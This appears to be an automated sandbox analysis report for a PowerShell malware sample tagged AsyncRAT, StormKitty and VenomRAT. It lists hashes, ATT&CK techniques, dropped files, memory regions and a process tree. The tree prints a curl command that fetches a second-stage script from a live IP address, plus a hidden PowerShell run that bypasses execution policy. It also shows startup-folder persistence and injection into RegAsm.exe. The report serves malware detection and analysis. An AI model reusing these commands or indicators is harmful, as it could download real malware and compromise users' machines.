asyncrat | b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-01-2025 03:04

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General

Target

b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff.ps1
Size

21KB
MD5

524fca1eea0f55f1ad6281325664dcb4
SHA1

fa39a3bb823909c0294804a32303378ac25e0492
SHA256

b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff
SHA512

a8002af2535c7fa629b7375943ade44f36fe0b76ccc324ab35d09e96931f7e5fc82c88787a423ae96ad58d2683f870693edb6f5cbafdd4b6576f3d1a09ff24b2
SSDEEP

384:zIAXUpjxl+K++gtu0P1GUK++qUpjxl6Upjxl+mATyK++IcmATpPsPWmATEP9rPva:zIAMVl+7+gbh7+3VlnVliTy7+IITJqKh

Score

10^/10

asyncrat stormkitty venomrat discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/1288-50-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/1288-50-0x0000000000400000-0x0000000000704000-memory.dmp	VenomRAT

Venomrat family
venomrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1548	powershell.exe
10	4480	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1548	powershell.exe
4480	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4480 set thread context of 1288	4480	powershell.exe	91

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1548	powershell.exe
1548	powershell.exe
1548	powershell.exe
1548	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
1288	RegAsm.exe
1288	RegAsm.exe
1288	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	1288	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1288	RegAsm.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 1548 wrote to memory of 4804	1548	powershell.exe	84
PID 1548 wrote to memory of 4804	1548	powershell.exe	84
PID 4804 wrote to memory of 5052	4804	cmd.exe	85
PID 4804 wrote to memory of 5052	4804	cmd.exe	85
PID 4804 wrote to memory of 4480	4804	cmd.exe	86
PID 4804 wrote to memory of 4480	4804	cmd.exe	86
PID 5052 wrote to memory of 4208	5052	cmd.exe	87
PID 5052 wrote to memory of 4208	5052	cmd.exe	87
PID 4480 wrote to memory of 4084	4480	powershell.exe	88
PID 4480 wrote to memory of 4084	4480	powershell.exe	88
PID 4084 wrote to memory of 2404	4084	csc.exe	89
PID 4084 wrote to memory of 2404	4084	csc.exe	89
PID 4480 wrote to memory of 932	4480	powershell.exe	90
PID 4480 wrote to memory of 932	4480	powershell.exe	90
PID 4480 wrote to memory of 932	4480	powershell.exe	90
PID 4480 wrote to memory of 1288	4480	powershell.exe	91
PID 4480 wrote to memory of 1288	4480	powershell.exe	91
PID 4480 wrote to memory of 1288	4480	powershell.exe	91
PID 4480 wrote to memory of 1288	4480	powershell.exe	91
PID 4480 wrote to memory of 1288	4480	powershell.exe	91
PID 4480 wrote to memory of 1288	4480	powershell.exe	91
PID 4480 wrote to memory of 1288	4480	powershell.exe	91
PID 4480 wrote to memory of 1288	4480	powershell.exe	91

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
      4⤵
      PID:4208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qea3fboq\qea3fboq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4084
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FDA.tmp" "c:\Users\Admin\AppData\Local\Temp\qea3fboq\CSC23356B284B5B432A81DAA822C75F1D12.TMP"
        5⤵
        
        PID:2404
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:932
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9FDA.tmp

Filesize
1KB

MD5
693fbf640eee020f43c6546508b0f8e6

SHA1
539dde73489a99bb90fc4f57faf2008821c21fcb

SHA256
751f6310f960c1780b7a65dbd209386ed604852f2974ef8920ec13e86f30a5a6

SHA512
d285f05950d7111ddb3ebc9b03d8560b68664edc53624290b4f4af0c6edf0e38cacd45cee833cb58322980579d3a87164b8efd47ea324b30ef86c48e067f17dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgu1oyls.14b.psm1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\qea3fboq\qea3fboq.dll

Filesize
9KB

MD5
402faf6194865ab27a7c4160041e3f26

SHA1
675ed9d12820b92172af1aaf9ea81cdec8b30817

SHA256
eae993e1d296db60da4d250c68189441d5e9d91a96264677b8e8d76e18b46e25

SHA512
9ff93a9f5bdb50f5e578a5e4af66dfc074dac31f3bc84c0d26235e3fac5a0f63761d34318531f2137cdf41e23701dc2c7828d45e681cfa48bb6cd5f56a1156a7

Download Submit
C:\Windows\Temp\Pack.bat

Filesize
5KB

MD5
380f7a432a6528223c05a2d48990827c

SHA1
ea7d06b5acda2f1afacd348fe64454fadaa4ece4

SHA256
cb6aaa288e92a75b77120f5996cddacf5374c5fcc3679f942554d52f740149c6

SHA512
cf16e64182cab9f2ecf9ae4351be69d0bce0833973f2071df76e1061cda9128c54392ffde006c64d41f4c26d3086cdcc85ea0410ecb29887f72f40db33a0c803

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qea3fboq\CSC23356B284B5B432A81DAA822C75F1D12.TMP

Filesize
652B

MD5
81736ba77b1de98274e2e25595b8d862

SHA1
de715362df5d429120ccb5d553cc613f6121ec55

SHA256
a43dedcec6e280e0cfb259b01a58c511034917eb31754f33adea505c7854e2fb

SHA512
bbcd176fe7dbd8e90cd06243f02e59426e9887cd59d2f519eda308469386047d2e7434117ce610f79729bceacc8532e2e7d0f531fb6fa63303e09b9f13d7ddfa

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qea3fboq\qea3fboq.0.cs

Filesize
10KB

MD5
4cffc8d6fe3870e0046b7be9bff146aa

SHA1
aee44d9772c5392c5da7237ba0090cbadfd4eeac

SHA256
e6518d89d7c8f761a277fe634fed0c41a4deee7c8d5cd4eaca503d88f247ec83

SHA512
42fa00f7ce8fb9f77f1c7b3b140bb6708d01609bbc77514e86d34c1ed82b2d6a0a4f4775674043c3e4a486e4e19f3dcf3c0d33f73fcd79e75126b2f42fac136a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qea3fboq\qea3fboq.cmdline

Filesize
204B

MD5
f280434abc376b82fe93e8360acae503

SHA1
af281eeb04c8df27924f0a3c4e92c7918ae51483

SHA256
395c8ab99434facb6ba847c7baed2424e36a23c5459997005dc2d8baace25f75

SHA512
8fd4cca460215e0d7d4dfc97f2b71404cb43ca5401a9bba89adff2500024010b6fdcfdab26fec05d727275d46c76ecdaf1833179807e54d5e559b80fcf4818f7

Download Submit
memory/1288-59-0x00000000064F0000-0x0000000006556000-memory.dmp

Filesize
408KB

Download
memory/1288-54-0x0000000005910000-0x00000000059A2000-memory.dmp

Filesize
584KB

Download
memory/1288-53-0x0000000005A10000-0x0000000005FB4000-memory.dmp

Filesize
5.6MB

Download
memory/1288-50-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/1288-55-0x00000000058D0000-0x00000000058DA000-memory.dmp

Filesize
40KB

Download
memory/1288-58-0x00000000068C0000-0x000000000695C000-memory.dmp

Filesize
624KB

Download
memory/1288-60-0x0000000006DA0000-0x0000000006DC2000-memory.dmp

Filesize
136KB

Download
memory/1288-61-0x0000000006DD0000-0x0000000007124000-memory.dmp

Filesize
3.3MB

Download
memory/1548-18-0x000001DF24640000-0x000001DF2485C000-memory.dmp

Filesize
2.1MB

Download
memory/1548-20-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/1548-10-0x000001DF24590000-0x000001DF245B2000-memory.dmp

Filesize
136KB

Download
memory/1548-11-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/1548-12-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/1548-0-0x00007FFC4FD43000-0x00007FFC4FD45000-memory.dmp

Filesize
8KB

Download
memory/4480-48-0x000002B853050000-0x000002B853058000-memory.dmp

Filesize
32KB

Download
memory/4480-22-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/4480-21-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/4480-52-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/4480-32-0x00007FFC4FD40000-0x00007FFC50801000-memory.dmp

Filesize
10.8MB

Download
memory/4480-35-0x000002B83A580000-0x000002B83A58E000-memory.dmp

Filesize
56KB

Download
memory/4480-33-0x000002B853080000-0x000002B8530C4000-memory.dmp

Filesize
272KB

Download
memory/4480-34-0x000002B853310000-0x000002B853386000-memory.dmp

Filesize
472KB

Download